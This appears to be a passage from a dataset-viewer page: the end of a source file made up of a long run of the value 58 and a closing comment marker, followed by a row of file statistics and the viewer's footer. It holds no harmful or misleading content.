58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 33.839357 | 2,999 | 0.650724 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.